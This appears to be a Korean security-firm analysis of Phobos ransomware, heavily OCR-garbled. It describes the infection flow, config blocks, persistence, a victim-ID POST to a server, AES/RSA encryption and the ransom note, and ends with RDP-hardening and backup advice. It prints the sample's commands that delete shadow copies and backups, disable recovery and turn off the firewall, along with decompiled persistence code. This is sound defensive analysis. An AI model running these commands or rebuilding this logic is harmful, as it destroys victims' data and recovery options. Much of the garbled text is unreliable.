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W Phobos HM¢0f E3

Phobos @ 9o]:= RaaS(Ransomware—as—a-Service, AH]2=& @44
2017 10€ AL Hdzd e 20189 12 938 A43td Aoz 3l
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ot 318 config 2t AME 2Kl key2 HS = AYER E5

[Phobos @A ¢le] £ 1]

Phobos @Al Edxte} M g & Y4 config #¥F WAHEO A&HHo2 {FiEHI
o, 7|Ee] &x 7IWHE 9§35 < 3 =
Phobos #A9ole] WEo] AHHoZ Sofys o]fol7|%E st
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o
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T3 9 gEE A Y] dE FuEFe AES-256 dauElHS B 3UdS gEdslal
ol A}-8H AES Key & #7171 &5 dag]=<l RSA ddEs 8 ¢dasisivh. uehA
A7) RSA 7§Q1717F Slofopwt H 5517t 7hsaftt.

stel Apolze] meh ghEst WAL TRobe] dE £EE FHPom GE LA
| Euw A saw e ofde 47}

»dER F4es 540 Utk ¢Es %o
F7be)

=%t \ id[<>-3373].[decrypt2022@onionmail.org]. FLSCRYPT
HEHoZ 5 APy A WAool EyH udo| info.txt, info.hta 91 WHEEE
et Btk WS kgt of¥ell 4% Phobos @Al €lole] A5 Wlds 3 &
A=t W 9o ICQ, Tox Chat messenger & F7F= Shstal ¢low dloly f&o #3t

w7k F7EE A

EQST insight | 2



B Phobos &3 =&

Phobos #AIflol= W5stEo] Q& config #hS ZT3dte] AR&stH Al2® <o), mutex
o AT & AHAAES FHs] HE HARET P AE ZR2 %‘% toh A] 2~
5A/5T 7les FEseln dsst Ae did 9 ZEAAE AAs FRsieE Vs
7FA AL Qi o] % ks EtE xldsked], ojn AUt E At 24 H UESAD EFdHE
AHS%% dugFE ol g dEseta WHN=EE AAdett Y dsste] AMEE AES

ﬂﬂ%iiﬂ dostste] 718 HEI)

dsst AL sd=R FAEH ﬁr%’ Afolzo] wet e otsst WAS A&t Bd
Adsst s FEAFH oM, Az=E A ko] diEl one by one 0‘525}% AeYshe 2=
ol¢] dlolEHe]2x ¥ mHdo ﬂ%‘ﬂ F7IE dsst 2dEE AR SEE PIATIE
WS ARggTh
infosec
ml — Config Load —  AAHIAOHI — mutex H|3
—
Thread
: sever post compmgmt.msc
persistence — [notwor[:(ing] hijacking
I Thread
° -
2353 EL nEyA ER
s =3 (2w, 3%, o) e A3
server post otS 3} FIN

(not working) ‘
I HALE WY

[Phobos @A dlo] A3 55]

(2Y, one by one file)

e} T

‘ (28, related DB file)

oz} g
(HESZ)
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B Phobos &M 24

1. Initial Access

Phobos @ dloj= et WHeR faxsal glom 74 #d, ROP Z2ES 5 Eyld
Au) o] 94 JE5S T8 Ax HoS A=

2. Execution

giie] epgmes AbgA B Agom U] A AHgA A AEB(UAC, User
Access Control) -] 7]}401 Sl ®bd, Phobos #Adol= AMEALR Stolw FElm
APE == AAE o k. w3 MS Office #4929 a2 7|5& E3] AM&A2Z5E Phobos
# s eE= s}g% %Es&q_

3. Defense Evasion

Phobos #/d9lol= AES ¢aglso= 4astd config #hs S AA @dddo] &2l
o3k ghs H3E3) gto] ALg3tit H353) 52 AEd index #ho wEl AAHE, 45s)
A9 oy G2E B g fad + ok

EQST insight | 4



olzje] ¥ ®53E config F=ES] Yo,

Index ‘ Description ‘ Value

0x04  HE&|l= It =Xt =o .id[<<ID>>-3373].[decrypt2022@onionmail.org].FLSCRYPT
fdb;sql;4dd;4dl;abs;abx;accdb;accdc;accde;adb;adf;ckp;db;db-journal;db-

0x06  HOEMolx B gas ST
wal;db2;db3;dbc;dbf;dbs;dbt;dbv;dcb;dp1;eco;edb;epim;fcd;gdb;mdb;mdf
;|df;myd;ndf;nwdb;nyf;sqlitedb;sqlite3;sqlite;
FLSCRYPT;actin;DIKE;Acton;actor;Acuff;FILE;Acuna;acute;adage;Adair;Ada
me;banhu;banjo;Banks;Banta;Barak;Caleb;Cales;Caley;calix;Calle;Calum;Cal

0x07 otsst ThAb HQ| BEXF B|AE vo;deuce;Dever;devil;Devoe;Devon;Devos;dewar;eight;eject;eking;Elbie;el
bow;elder;phobos;help;blend;bqux;com;mamba;KARLOS;DDoS;phoenix;P
LUT;karma;bbc;CAPITAL;WALLET;LKS;tech;s1g2n3a4l;MURK;makop;ebaka;j
00k;LOGAN;FIASKO;GUCCI;decrypt;OOH;Non;grt;LIZARD;FLSCRYPT

0x08 =3t CHA X MY 2|AE info.htainfo.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;config

0x09 Azt O M2 ZE0Y 2|AE %windir%%programdata%WmicrosoftwwindowsWcaches;
msftesql.exe;sqlagent.exe;sglbrowser.exe;sqlservr.exe;sqlwriter.exe;oracle.
exe;ocssd.exe;dbsnmp.exe;synctime.exe;agntsvc.exe;mydesktopgos.exe;is
glplussvc.exe;xfssvccon.exe;mydesktopservice.exe;ocautoupds.exe;agntsv

Ox0A =2 CjA mapA 2jAE c.exe;agntsvc.exe;agntsvc.exe;encsve.exe;firefoxconfig.exe;tbirdconfig.exe;
ocomm.exe;mysqld.exe;mysqld-nt.exe;mysqld-
opt.exe;dbeng50.exe;sqbcoreservice.exe;excel.exe;infopath.exe;msaccess.
exe;mspub.exe;onenote.exe;outlook.exe;powerpnt.exe;steam.exe;thebat.e
xe;thebat64.exe;thunderbird.exe;visi

0x0B HHLE oy info.hta

0x0C UM E mMAY info.txt

OXOF HMEL-E MY 2E AZ <<Desktop>>;<<Common Desktop>>

0x10 A7t =X RE 3= %localappdata%

0ox11 persistence, run registry SoftwareWMicrosoftWindows#WCurrentVersion#Run

0x12 persistence, A& B 42 <<Startup>>;<<Common Startup>>

0x2A A2 EJ/57 23t HHO|  vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog —quiet
exit

0x2B HistE M HZA HHO netsh advfirewall set currentprofile state off

netsh firewall set opmode mode=disable

exit
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Phobos @ 9ol= Wa¥& $-33l7] 98 config index Ox2B #h& Saf 3k A
HHEolE FE5tL %9 cmd.exe & F3l MG HHAE AP}
if ( (*lplem & @x18@) != @ && (lvaa[e] || v34[4]) )
mw_RunCommand (0x2B} ; // firewall
/"
// netsh advfirewall set currentprofile state off
// netsh firewall set opmode mode=disable
[/ exit
/"
(43 34 ]
mutex = AIst & A9 DuplicateTokenEx S-S ol g3 EFZS EA s
TeAAE A2 AET.
if ( )
{
if ( lpri )
if ( sub_4@5BeE( ) )
{
= GetSh indow();
if ( low )
{
if ( GetWindowThreadProcessl d( , &d )
{
= OpenProcess(0x400u, ©, 33
if ( ) 2
{
if ( OpenProcessToken(v3, 9x2000000u, &1 €) )
{
A .nLength = 12;
if (I":'[-:"“-".'"T""'f”'-'k
OXZGOOOOOU,‘
&Tokenattributes,
Securitylspersconation,
TokenPrimary,
& ))
{
— ( leJ ‘,0,0,0,0,&',&);
[EE EA]
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4. Persistence

Phobos #AAl= F 7FA WHS §3] #HrH FHEH Al A A
e dastE ¢ A HAS A 3

S
il
n
t

D run HAEEY 55

shel A|%H¢

—_

¢

C:WUsersW<redacted>WAppDataWlLocal Zto] 7} EA F &d AHA=EZE  run
= = =] = - -
g4 2Ede] SEate] ANY o AAH =S G,
8& sub_4@59F1(v0, Bx1084u, 3) ) // TY R EH (to %localappdata®)
d
if ( CopyFileW(lpExistingFileName, v@, @) )
v11l = sub_4090C6(v0); [/ run registry £
v1l = RegOpenKeyExW(HKEY_LOCAL_MACHINE, run_reg key, 8, 0x20106u, &phkResult) ? @ : sub_4@3A93(
é;fz%es_;t,
1pValuehame,
va);
sub_4090C6(va);
RegOpenKeyExW (HKEY_CURRENT_USER, run_reg key, @, 0x20106u, &v12) ? 8 : sub_4@3A93(vo, &v12, lpvaluelame, vd);

tesult = (vil > @ || vl » @);
sub_40859F1(va, @x1e4u, 3) ) // \config copy

ve, 1});

| = GetFileAttributesW(ve);
ributest I= -1 )

SetFileAttributesW(v@, FileAttributesW | 2);

{
sub_4035D2(startup_config, &lpMem);
if ( lpMem )
{
vi2 = @;
for ( i = sub_4035A4(1lpMem, @); ; i = sub_4035A4(IpMem, vi12) }// AT Z20H SAf
{
if (1)
break;
if ( sub_4859F1(v0, @x184u, 3) )
{

CopyFileW(1pExistingFileName, v@, 1);
if ( sub_4059F1(v0, Ox104u, 3) )

{
CopyFileW(v18, v@, 1);
vd = GetFileAttributesW(v@);
if (v4 1= -1)
SetFileAttributesW(ve, v4 | 2);
}

ANF 2233 55 IAE=]
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o2 FE A 2AF AYEHEs A5 AT Phobos #4d ¥e]+= mutex

AP H =S A 9

L4a

s L
= L"ELVL";

mw_ToHexWide(e

Vi,

CloseHandle (*mu

goto LABEL_18;

*mutexHandle = v5

8u, vl
mw_StringReplacePlaceholders(lpMem, v1@);// L"Global\\<<BID>>E265A35500000001"

*mutexHandle = @;

v5 = OpenMutexil(@x100008u, B, v3);

mw_get_decrypted_config var(8x19, @); // L"Global\\<<BID>><<ID>><<ELVL>>"
2:

// VolumeSerialNumber
// elevation

ial, 8u, v12);

I);

// L"Global\\<<BID>>E265A35500000001"

// mutex check : L"Global\\<<BID>>{ID value:VolumeserialNumber}{ELVL wvalue:Elevation}"

[mutex A3 23]
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5. Discovery

Phobos #Ad¢lol= a3t g = 2
g, fEEe], JES A fIEL, gixﬂé, 7Pl EE AIYY 9W TS g3

1) Phobos @AY o] A& Al config #S 2= T AJAH AolE A I3l olw 7]
A Ao} 7 SRIEH F a3 es Ao Qi)

if ( (%lphem & 1) 1= @ 8& GetlocaleTnfoli(@x800u, @x58u, LCData, 32) && (*LCData 3> 9) & 1 )// A=~ 20 =2
// LOCALE_SYSTEM_DEFAULT, LOCALE_FONTSIGNATURE
J/ 22 ERHAMD "I = &2

goto LABEL_87;

(A" do] A=l

2) 24 EepolBn g gAste] v ost tids A%

o

a
1S/

3) =4 9 433} o9 HEHA =dte]BE 45t dost Ade AW

JHoz FA57] s delemels, 9, BN wBa ZzAs PrES
AFE gaEs wauste] g TzAsE SR

(-

4) dssts A
A3 config ol

config block index ‘ 0x0A ‘ process list

msftesql.exe;sglagent.exe;sqlbrowser.exe;sqlservr.exe;sqlwriter.exe;oracle.exe;ocssd.exe;dbsnmp.exe;synctime.
exe;agntsvc.exe;mydesktopqos.exe;isqlplussvc.exe;xfssvccon.exe;mydesktopservice.exe;ocautoupds.exe;agnts
vc.exe;agntsve.exe;agntsvc.exe;encsvc.exe;firefoxconfig.exe;tbirdconfig.exe;ocomm.exe;mysqld.exe;mysqld-

nt.exe;mysqld-
opt.exe;dbeng50.exe;sgbcoreservice.exe;excel.exe;infopath.exe;msaccess.exe;mspub.exe;onenote.exe;outlook.

exe;powerpnt.exe;steam.exe;thebat.exe;thebat64.exe;thunderbird.exe;visi

[(Z2AA Z2E]

il
I
e
rol
iy

5) Y 7 AR # ol Wl AA2EY FHeE T A = A=
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6. Exfiltration

biRSIEES Trg?fhz} ID 7k~ RER] HDD serial number = E;ﬁ& A 7 =5 %%o}—t— Rnow
F=3k = ot

ial = mw_GetSystemDriveSerial();
mw_get decrypted_config var(@x44, @);
a mw_get_decrypted_config_var(@x45, 8);
mw_get decrypted config var(@xd6, @);

W5
V33

= "ID";
0;
0;
sub 485AB8(> rstemDriveSerial, 2u, v5);
if ( lpMem )
{
vZ2 = sub_40620D(LlplMem, vi);
vl = v2;
if (w2 )

v3 = sub_4090B5(v2);
POST_sub_483CBD(pswzServerName, pwszObjectName, vl, v3);

[POST config]

1-o0;
vd = WinHttpOpen(&pszAgentW, 1lu, 6, @, @);
v = vd;

if (vl )

v5 = WinHttpConnect(v4, pswzServerName, @, @);
hInternet = v5;

s
-
—

V5 )

jecthlame, @, 0, @, 8);

WinHttpOpenRequest(v5, L"POST", pwszOb

if { WinHttpSendRequest(vb, @, @, lpOptional, dwOptionallen
= WinHttpReceiveResponse(v/, @);
WinHttpCloseHandle(v7);
}
WinHttpCloseHandle (hInternst);

H
WinHttpCloseHandle(v9);

il

[POST & A=
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7. Impact

Alz=gle] 7|20 2 HE8H H3H/5Y A28E FE35etr] 95 HEoE Adgsitt 55 Ak
EAMLS AA|ste] BTG5 2 8slal bededit, whadmin Al 28 =55 o] 8-3le] A]~H] 2E
Haow]] 1g 2 AL 5 5Y T2AAE AT ¢ s Hyo]Es At

7 EstE JAPE wol= 0S Al=del FAfE 7AAY AAA7NA B 3D T des)
A9 e AIs, ol ¥ AR, o2, Zy o2& config BAES B mE o]
Al 9] gkt

config block index ‘ 0x07 ‘ whitelist file extension

FLSCRYPT;actin;DIKE;Acton;actor;Acuff;FILE;Acuna;acute;adage;Adair;Adame;banhu;banjo;Banks;Banta;Barak;Caleb;Cales;Caley;
calix;Calle;Calum;Calvo;deuce;Dever;devil;Devoe;Devon;Devos;dewar;eight;eject;eking;Elbie;elbow;elder;phobos; help;blend; bq
ux;com;mamba;KARLOS;DDoS;phoenix;PLUT;karma;bbc;CAPITAL;WALLET;LKS;tech;s1g2n3a4l;MURK;makop;ebaka;jook;LOGAN;
FIASKO;GUCCI;decrypt;O0H;Non;grt;LIZARD;FLSCRYPT

config block index

0x08

whitelist file name

info.hta;info.txt;boot.ini;

bootfont.bin;n

tldr;ntdetect.com;io.sys;config

config block index

0x09

%windir%;%programdata%\microsoft\windows\caches;

C:\Windows;C:\ProgramData\Microsoft\Windows\Caches;

[F=3} A9 Y Z=E]
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e 953l TRAAE AYC
S AAste 3ds gE st
one by one 2=705lo] 9135 3}s)=

2 s G 7bse 27 Sehelnsl YESD Sdheln

ojuf vlolEHlo]A ¥ ARt ho el A=t wds
R A e R g

gdutth WY IV @S E3) AT AES KeyE AREate]l 398 gastath olF Y AES
KeyE RSA-1024 ¢ug5S Sl d&sistt. dsstd AES Keyw daste 7hzbeo] st
of AFHW, vd dwdle] ALEE AES KeyE 533 317] 98l 32442 RSA 71917]
b destch webd gA7ke) RSA A7} fEHA @ ol Eat oy
infosec
AES-256 SAK
Key 27171
= _ &
_— AES-256
Key
(o =2t opE] [AES-Key 2= 3}
AES-256 RSA-1024
(use to encrypt files) (use to encrypt the AES Key)
[¢=3 #A]
52 23 Zth AES Key 555 RSA &1
etk Al WA 25 9o T 2= g
{(Eéigegg;dizaedcsowssbe15f174bcca7e222.sub.13C5633>
333 ;ﬁ;rd ptr ss:jfebp-1C),eax

m

] R BA..®...

[AES Key ¢33} £5]
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A A

e YEate il e gk

of
gg
o,

HAE ml 4535} oA

ASCII

65 78 74 2E
00 00 00 00

20 70 eC 61
00 00 00 00

69 6E 20 74
00 00 00 00

74 65 73 74
2E 00 00 0O

test plain text.

Hex ASCII

'C6 64 73 18|37 63 3B 9A|75 BE FE 10|D9 C8 DD EB8|4ds.7C;.u.p.UEYe
31 2A EB B2|C9 3C 82 2B|DE 83 3C 7F|35 57 88 3C|1*8*E<.+b.<.5W.<
Phobos Mo 3He) 9458t A S8 FRA77] s 3 Ape =] we} F A4H =
gom ¥ 49e FRA o2 A A Ug HA Ale|2F AL 2] E
AR 9 Afo] =7k = A9 wele] ARG dBase] FEE FAAAE R4S AEH
=3
if ( FileSize.QuadPart )
1
FileAttributesW = GetFileAttributesW(lpExistingFileName);
dwFileAttributes = FileAttributesi;
if ( FileAttributesW != -1 )
1

v12 = FileAttributesi & 13
if ( (FileAttributesW & 1) !=@ )
SetFileAttributesW(lpExistingFileName, FileAttributeswW & @xFFFFFFFE);
v7 = (flags & 1) != 8 || fileSizelen.QuadPart < 8x188@8@08uitd ? EncryptFile_size_small(
a2,
a3,
lpExistingFileName,
1pNewFileName,
flags)
a2,
a3,

lpExistingFileName,

1pNewFileNam
flags);

: EncryptFile_size_big(

=5

(433 i3 Fd Ate]= A ]
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3ol EYA gis

SECERSEREE R
1as ZeAag AR

o)
o T .
7F s A, 2E dmd A v A R Ades FEe g

ot st g vdo disk 53y Fubd dsstd Ao ExE WAs ue a9y
ol YR wdw ol Al FH ol 'id[<<KID>>-3373].[decrypt2022@onionmail.org ]. FLSCRY

|| 'Readme. tellid[E265A355-3373].[decrypt2022 @onicnmail.org]. FLSCRYPT|
|| 0.bmp.id[E265A355-3373].[decrypt2022 @onionmail .org). FLSCRYPT

|| 001.png.id[E265A355-3373]. [decrypt2022@onionmail.org]. FLSCRYPT

|| excel2007 xlsxid[E265A355-3373] [decrypt2022@onionmail.org] FLSCRYPT
|| help.pdf.id[E265A355-3373].[decrypt2022 @ onionmail.org] FLSCRYPT

|| jpg.jpg.id[E265A4355-3373] [decrypt2022@onionmail.org] FLSCRYPT

|| ppt2007 ppte.id[E265A355-3373].[decrypt2022@onionmail.org] FLSCRYPT

(3 &A1 mA]
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ZFa = EQSTOA 418 Phobos W& dAlSole] A =Ed = Hloly /& w78 H X3
ICQ, Tox Chat messengerE %3 & Y 8o] F715A

o

maF BEE MM0) 27N =SZH)

Hello my dear friend
Your data is encrypted

Unfortunately for wou, a major |T security weakness left vou open to attack, wour files have been encrypted.
The only method of recovering files is to purchase decrypt tool and unique key for wou,

It wou want to recover wour files, write us to this e-mail: decrypt20220onionmail . org

In case of no answer in 24 hours write us to this backup e-mail: decrvpt2022@msgsafe. io

Our online operatar is available in the messenger Telegram: @Files_decrypt or https://t .we/Files_decrypt

If there is no response from our mail, wou can install ICH software on wour PC here https://icg.con/windows/ o
Write to our ICE @Ransomware_Decrypt https://icg. im/Bansonware_Decrypt/

Or download the (Session) messenger (https://getsession.ora) in messenger: 0569a7c0949434c9c44640 {24231 BEd 0467
converstion

Or download the Tox Chat (https://tox.chat/download.html) in messenger: C2044B44C30BEF70ETF2340F COFSTEOGF 4GAEGH
You must add this Id and write to us

Please note that wou' Il never restore wour data without payment.

Check your e-mail "Spam”™ or "Junk” folder if wou don't get answer more than 6 hours.

Contact us soon, because those who don't have their data leaked in our press release blog and the price thew' ||

Attention!

[AX =E info.txt]

n

Hello my dear friend. All your files have been encrypted!

lty weakness left you open to attack, your files have been encrypted. The enly methed of recovering files is to purchase decrypt tool and unique key for you.
us to this e-mail: decrypt2022@onionmail.org In case of no answer in 24 hours write us to this e-mail: decrypt2022@msgsafe.io
lessenger Telegram: @Files_decrypt or https://t.me/Files_decrypt

install ICQ software on your PC here https://icq.com/windows/ or on smartphone from Appstore / Google Play Market search for "ICQ"

ftps://icq.im/Ransomware_Decrypt/ Or download the (Session) messenger (https://getsession.org) in : 05693 9c4464cf2423f66d04 54e4164404b1dc23783096d313
wie will complete our converstion.
ovinload.html") in messenger: C20A4B4AC30BBF70E7F2340FCOFO7B0BFASBB6EN41557ABBF20EAFS2FEDDC47D79239FA26B51 You must add this ID E265A355-3373 and wirite to us.

b without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.

ve their data leaked in our press release blog and the price they'll have to pay will go up significantly.

[#4=E info.htal
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B Phobos #4d<|0] CfS 7to|=
Phobos @41810] 2 Abde] ojiisls Wy e oot 2.

infosec

=

217| 20| ALRE|S 7|2 ZE(TCP 3389) H|ZHAds}
—— nIZbst HE 7t Qs M 3 BT QS A|AHO| RDP A{H|A HZHIS}
= RDP AH|A AF2 A| QI7HEI AL AIE R84 QUEE TIE|2
RDP HZ2 Alxofl cH$t 23 = 9l DL|E{E
ots ST X2 gl A B2 HA A
-~ 29l A =2 "M AL

CHE 215 (MFA) X &
olaAsi2 KU HRmY X &3 38 =X
O MY wslnzasds Yo EE S 33 2
1M Hot wg 9 Ho| 3 § ALSXI0)| chet ws Al

Aol A A W EE

gt 2o

rlo

infosec
25
BH AT Of T[S LAY AMALS LIS HIOHE] 91 AL 7|2 Sof R4

A E WH A M = I 2

EX F|
FIF SR 2 gl ZHE AIAH HERID U MEA S 5Ll HE 2a
AAE Z5 G THREIS X250 X[ HE 2C AL
AL ZALE S HE AR Ot = 2= |91 AfLt
AtTCHe OOl K FHorE ], URL Se|AE §
HHQY A|AEO| Q= A BT A|AEIS 6| 27 K|
M CiS Z2M AT EMSHA| %S AL £EISHALE 7| Ee] T2 M A 71 G 22t
FE XA o] AJAE ZQI QI JYM HE

1@, B2 Wk YRo| gt WA U 271 £ S T
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SKEUH Zo|l = Bl &F4 71, A7, Global 719 2 A, Ale]w By 2L HEH
o] u} 517}1] =Y Fdo 77 Aol e FoAd KARA(Korea Anti Ransomware Alliance)
& +9sta At

Korea Anti Ransomware Alliance

A¢lol ONE STOP th-¢ AH~AE A FstE KARA & dA o] A Al spol A4 33
534 AR §5 & 5 74 Bobd AR 4A9] Hok AEVE B A S
oh;]. o3k @/ﬂ 4101 Haoﬂ q]%L ].x% A w| ﬁﬂ7]—% =

FA AT 5 Au2E £9sta )

% SKdg 2~ ddgo] t-&4H : kara@sk.com, 1600-7028
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